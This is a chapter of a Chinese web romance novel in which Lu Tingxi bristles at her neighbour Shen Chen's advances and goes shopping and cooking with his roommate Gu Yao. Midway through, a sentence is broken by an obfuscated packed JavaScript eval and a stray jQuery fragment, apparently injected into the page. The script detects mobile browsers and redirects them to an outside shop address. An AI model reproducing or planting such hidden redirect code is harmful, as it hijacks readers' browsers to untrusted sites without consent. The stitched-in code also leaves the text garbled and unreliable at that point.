这男的是精虫上脑了?
怎么张嘴闭嘴都是那档子事,跟个发春的猫似的,天天摇着尾巴到处□□,生怕别人看不出他要□□。
陆汀溪皱着眉在屏幕上敲了几个字,想了想,又删了。她没回,但对面很快跳出一行字。
「不用抹不开面子,知道你忍得挺难。」
这人真会贼喊捉贼,明明是他自己抓心挠肝地想发泄,破嘴一张一合,反倒摇身一变,成了助人为乐,还给她泼了一盆脏水。
她本来不打算回了,但实在太气,也太没面子。于是重重地戳出一行字,像是要把屏幕戳出个窟窿。
「沈老师真会倒打一耙,想泄火的难道不是你吗?」
消息刚过去,对面马上就回了。
「是我,但你不想吗?」
陆汀溪撇了撇嘴,回:
「不想,所以以后请沈老师自重。」
对面消停了好久,过了快半个小时,屏幕又亮了,沈琛回的消息,看着挺冷淡,还像是带着情绪,干巴巴的只有一个字。
「好。」
这男人,变脸可真快。
之前撩得时候积极得跟个卖房销售似的,一看人没上钩,立马及时止损了,连装都不装,就回这么一个字应付了事。
陆汀溪把手机往茶几上一撂,不再想这人了。
*
隔天。
顾垚老早就等在门口了。
陆汀溪提着一兜子垃圾,推开门,冷不丁吓一跳。“卧槽,吓死我了。”
顾垚显然也被她吓了一跳,身子不由地抖了一下,低头扫了眼她手上的垃圾袋,明知故问:“扔垃圾啊?”
“啊,干嘛大早上的跟个门神一样堵人家门口,想吓死几个人啊?”她没好气地说。
顾垚不要意思地挠挠头,卡壳了几秒,“哦,想去超市买点菜,车坏了。”
“你车还能修好了吗?”陆汀溪瞥了他一眼,虽然没把话挑明,但那副表情分明在说:你这借口打算用到什么时候?
“快了快了,刚催完。”
经过昨天小慧那么一说,现在再看顾垚,怎么看都能看出这货满脸的心虚。陆汀溪打量着面前还在挠头的男人,看着憨憨的,额头上还挂着几滴汗。虽然没沈琛和陈屿那么帅,但长得也......
她仔仔细细看了好几眼,愣是没看出一点优点。
好吧。
这货长相确实是挺一般的,甚至还有点愣头愣脑。
但经历了沈琛和陈屿这俩渣男,她忽然就觉得,越帅的男人越不老实,这种长得普普通通的,可能本分可靠不少。细想想,小慧的话也没错。顾垚确实经济条件不错,人也踏实,性格又好。总之就是除了长得不怎么样,其他都算顶配。
他如果真和自己表白......
好像也不是不能接受。
“那你开沈老师车去啊。”她说。
“沈琛出去找妹子去了。”顾垚伸手去接她手上的垃圾袋,“你陪我去一趟呗,刚好买完菜回来就中午了,哥给你露一手,做顿好的。”
陆汀溪微微皱了皱眉,嘴角露出一丝嘲讽的笑,“呵,沈老师还挺忙。”
这人可真有意思。
昨天还和她搞暧昧,今天就换了人,这翻篇的速度,让人有点跟不上。一个大学老师,为人师表,还以为多少会检点些,没想到这人这么随便,情感迭代的速度,比互联网裁员还快。
“嗯。”顾垚点点头,“沈琛忙着呢,以前我周六日叫他出去玩,周周都叫不动,人忙得很,可不是我这种宅男。”
陆汀溪没接话,又拉开家里的门,“你先下去等我吧,我换个衣服,马上下去。”
“好嘞,我先去扔垃圾。”顾垚拎着一兜子垃圾,笑得合不上嘴,屁颠屁颠下楼了。不知道的还以为他拎的不是垃圾,是黄金。
陆汀溪回去火速换了身衣服,对着镜子随便拢了拢头发,顺手扎了个高马尾,然后拎着包出门了。
一路上顾垚兴奋地停不下嘴,从都说到尾,歇都没歇。陆汀溪有一搭没一搭地应付几句,始终心不在焉,脑子里乱哄哄的,但又说不清原因。
两人在超市逛了快一个小时,买了不少东西,瓜果蔬菜样样俱全,足足采购了满满四大袋子。
回去的路上,顾垚倒是安静了不少,大概是说累了,只偶尔蹦出一两句,见陆汀溪没接话,也就识趣地闭了嘴。
快到小区的时候,顾垚忽然神色认真了,“陆汀溪。”
“嗯?”她一边打转向,一边随口应着,目光还盯着前面的车流,没太当回事。
“你觉得沈琛怎么样?”
“啊?”
陆汀溪转头看旁边的人,他表情看着挺严肃,一板一眼的,和平时完全不一样,突然跟换了个人似的。
“应该挺好的吧。”她酝酿着说,“主要我和人家也不太熟,不好评价。”
顾垚点点头,“那你觉得我怎么样?”
这话感觉像是表白的前兆。
她握着方向盘的手紧了紧,别过头,眼睛看着前面渐渐稀疏的车道,语气故作轻松,“你?烦人精一个,嘴还特贱。”
“嗤,还真不给面子。”顾垚笑了笑,嘴里重复了一遍她的话,“烦人精。”他点点头,像是在掂量这评价的分量,“行啊,总比不熟强。”
陆汀溪没接话,她不知道怎么接。
这话说得暧昧,但又没挑明。像隔着层没捅破的薄纸,窥见了大概,却又隐隐约约的。
聊着聊着,车子开进了小区。离老远就看见沈琛那辆大G,正正好好停在她车位旁边的位置上。他也刚回来,人还在车上,刚熄了火。
陆汀溪把车慢慢倒进车位,刚熄火,旁边大G的车门就开了。
顾垚也推开车门下去了,懒洋洋地伸了个懒腰,“怎么这么早就回来了?还以为你今晚不回来。”后半句话音量提高了不少,陆汀溪在车里,也听得清清楚楚。
沈琛淡淡应了声“嗯”,往车上瞟了一眼,“你们去哪儿了?”
“哦,去超市转了半天,买了不少东西,等会儿去陆总那露一手。”顾垚绕到后面,打开后备箱,弯腰把东西拎了出来。
陆汀溪也下车了,走过去帮忙。头压得低低的,没和沈琛打招呼。沈琛也没说话,两人跟陌生人似的,都默契地没出声。
“那我先上去了。”沈琛淡淡地说。
“嗯,你上去吧,我等会儿直接去楼上了,你忙你的,不用管我。”顾垚咧着大嘴笑了笑,心情看着挺不错。
沈琛转身走了。
陆汀溪手上的动作僵了几秒,然后又提起袋子。不知道是不是刚才逛的时间太久了,还是路上开车开累了,又或者是东西买得多了,袋子太重,她感觉浑身使不上力气,身子也轻飘飘的,不听使唤。
“手疼吗?”顾垚凑上来问,“你放着,我拎。”
“没事,这点东西,我还拎得动。”陆汀溪笑着摆摆手,“再说,总共四兜子东西呢,你又没长三头六臂。”
顾垚还想再说什么,她已经提起袋子往前走了。
两人刚进楼道,就看见电梯门正缓缓合上。沈琛站在里面,面无表情地和她对视了一眼,那眼神像在看陌生人,和之前那个在电梯里贴着她搞暧昧的,简直判若两人。
陆汀溪心口一滞,胸腔里像堵着一股气,闷得人心烦。
“倒是给按一下啊,没看着手上都拎着东西呢,这狗B还装没看见。”顾垚在旁边吐槽了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617926|203383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一句。
“是挺狗的。”陆汀溪顺口跟着说,完全是下意识的脱口而出,没经过任何思考。
这人心眼跟针鼻儿似的。
就算不和他苟且,好歹也是邻居,抬头不见低头见的,至于把关系搞这么僵?
顾垚弯了弯唇,一副幸灾乐祸的嘴脸,“是吧,你也发现了对吧,我跟你说,这狗B性格可奇葩了,要不是跟他当了四年室友,我才不搭理他呢。”
陆汀溪没再接话,两人一前一后进了电梯。到了七楼,顾垚拎着袋子跟着进了门。
“你就等着吃吧,哥给你露一手,保准香掉眉毛。”
陆汀溪笑了笑,把袋子放在操作台上,“那我帮你洗洗菜吧,打个下手。”
“行。”
陆汀溪拧开水龙头,在旁边洗菜。正等着顾垚大显身手呢,但这大少爷挺打脸的。土豆丝切的跟薯条似的,又粗又厚,还有长有短,歪歪扭扭的。这刀工烂得出奇,一般人还真做不到。
她扫了一眼那一堆惨不忍睹的土豆条,忍不住开口:“你不是在美国读过书吗?怎么做饭这么烂?”
顾垚咧嘴笑了:“我去那学的是计算机,又不是烹饪。”
“人都说留学生个个厨艺顶呱呱,你怎么回事?”
“我是那个例外。”
陆汀溪叹了一口气,“算了,你上一边去吧,就你这两下子,还不如我呢,别浪费东西了。”
刚接过菜刀,玄关传来几声不轻不重的敲门声。
“我去开门。”顾垚边说边往门口走。
“吱嘎”一声,门开了。
“谁啊?”陆汀溪抻着脖子往外看。
“沈琛来拿碗,说之前在你这有几个碗。”顾垚折回厨房,扫了一眼碗架,“哪个是?我给他拿过去。”
还没来得及说话,沈琛就进来了。“我自己来吧。”
陆汀溪放下手里的东西,擦了擦手,“在橱柜里,我给你找。”
拉开柜子,里面摆了两排碗碟,洗得锃亮,一个挨着一个,摆得整整齐齐。
“陆老板这碗不少啊。”沈琛轻笑一声,“这么多碗,还找得着吗?”
这话没问题,语气也勉强说得过去,但怎么听都觉得不太对劲,有点阴阳怪气。
陆汀溪眉头微微皱了皱,从架子上挑出那两个不同样式的白瓷碗,递过去,“这儿呢,之前忘还了,不好意思。”
沈琛接过来,“没事,顾老板这儿碗多,忘了很正常。”
更阴阳怪气了,连语调都是。
陆汀溪没和他一般见识。只是觉得这人挺没风度的,睡不到就翻脸,一点也不体面。
沈琛走了之后,两人又忙活了大半个小时,才终于弄出来俩菜。虽然看着挺寡淡的,闻着也不算香,但起码能吃。饭菜端上做,刚抬起筷子,门又被敲响了。
“我去开,你吃吧。”陆汀溪往玄关走。
推开门,还是沈琛。他手里提着一桶矿泉水,满满的,和之前从她这拿下去的是一个牌子。
“来还水。”他说。
陆汀溪愣愣地应了声“哦”,侧身让开。
沈琛把水拎进屋,放在玄关,看都没看她,也没多停留,一声不吭又走了。
门关上了。
陆汀溪站在玄关,低头看着那桶水,又看了看合上的门。
心里忽然有种说不上来的滋味。
碗还了,水也还了。该还的都还了,一笔一笔算得清清楚楚,不留后账。
沈琛这是在和她清算。
摆明了是在划清界限,以后互不相欠,也互不打扰。这是想要做回陌生人,和最开始一样。他不只是在还东西,而是在告诉她——
以后,就当不认识。